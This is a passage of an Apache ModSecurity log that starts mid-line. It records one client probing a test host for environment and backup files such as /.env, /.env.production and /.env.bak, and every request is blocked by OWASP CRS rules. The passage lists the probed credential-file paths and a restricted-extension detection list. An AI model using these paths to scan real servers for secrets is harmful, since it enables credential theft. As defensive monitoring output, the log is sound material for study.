&quot;WASCTC/WASC-19&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;OWASP_AppSensor/CIE1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-updates/*&quot;] [unique_id &quot;aaSSspIifMrob6GYX-HTWQAAAAI&quot;]
[Sun Mar 01 20:25:38.063298 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-updates/*&quot;] [unique_id &quot;aaSSspIifMrob6GYX-HTWQAAAAI&quot;]
[Sun Mar 01 20:25:38.063482 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-updates/*&quot;] [unique_id &quot;aaSSspIifMrob6GYX-HTWQAAAAI&quot;]
[Sun Mar 01 20:25:41.433189 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBqgAAAAU&quot;]
[Sun Mar 01 20:25:41.433421 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBqgAAAAU&quot;]
[Sun Mar 01 20:25:41.433571 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBqgAAAAU&quot;]
[Sun Mar 01 20:25:41.456209 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBqwAAAAU&quot;]
[Sun Mar 01 20:25:41.456458 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBqwAAAAU&quot;]
[Sun Mar 01 20:25:41.456626 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBqwAAAAU&quot;]
[Sun Mar 01 20:25:41.478842 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBrAAAAAU&quot;]
[Sun Mar 01 20:25:41.479066 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBrAAAAAU&quot;]
[Sun Mar 01 20:25:41.479214 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBrAAAAAU&quot;]
[Sun Mar 01 20:25:41.501615 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBrQAAAAU&quot;]
[Sun Mar 01 20:25:41.501831 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBrQAAAAU&quot;]
[Sun Mar 01 20:25:41.501981 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBrQAAAAU&quot;]
[Sun Mar 01 20:25:41.524297 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBrgAAAAU&quot;]
[Sun Mar 01 20:25:41.524545 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBrgAAAAU&quot;]
[Sun Mar 01 20:25:41.524705 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBrgAAAAU&quot;]
[Sun Mar 01 20:25:41.546865 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBrwAAAAU&quot;]
[Sun Mar 01 20:25:41.547097 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBrwAAAAU&quot;]
[Sun Mar 01 20:25:41.547255 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBrwAAAAU&quot;]
[Sun Mar 01 20:25:41.569185 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBsAAAAAU&quot;]
[Sun Mar 01 20:25:41.569472 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBsAAAAAU&quot;]
[Sun Mar 01 20:25:41.569680 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBsAAAAAU&quot;]
[Sun Mar 01 20:25:41.569829 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBsAAAAAU&quot;]
[Sun Mar 01 20:25:41.591729 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBsQAAAAU&quot;]
[Sun Mar 01 20:25:41.592011 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBsQAAAAU&quot;]
[Sun Mar 01 20:25:41.592216 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBsQAAAAU&quot;]
[Sun Mar 01 20:25:41.592373 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBsQAAAAU&quot;]
[Sun Mar 01 20:25:41.614299 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBsgAAAAU&quot;]
[Sun Mar 01 20:25:41.614602 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBsgAAAAU&quot;]
[Sun Mar 01 20:25:41.614876 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBsgAAAAU&quot;]
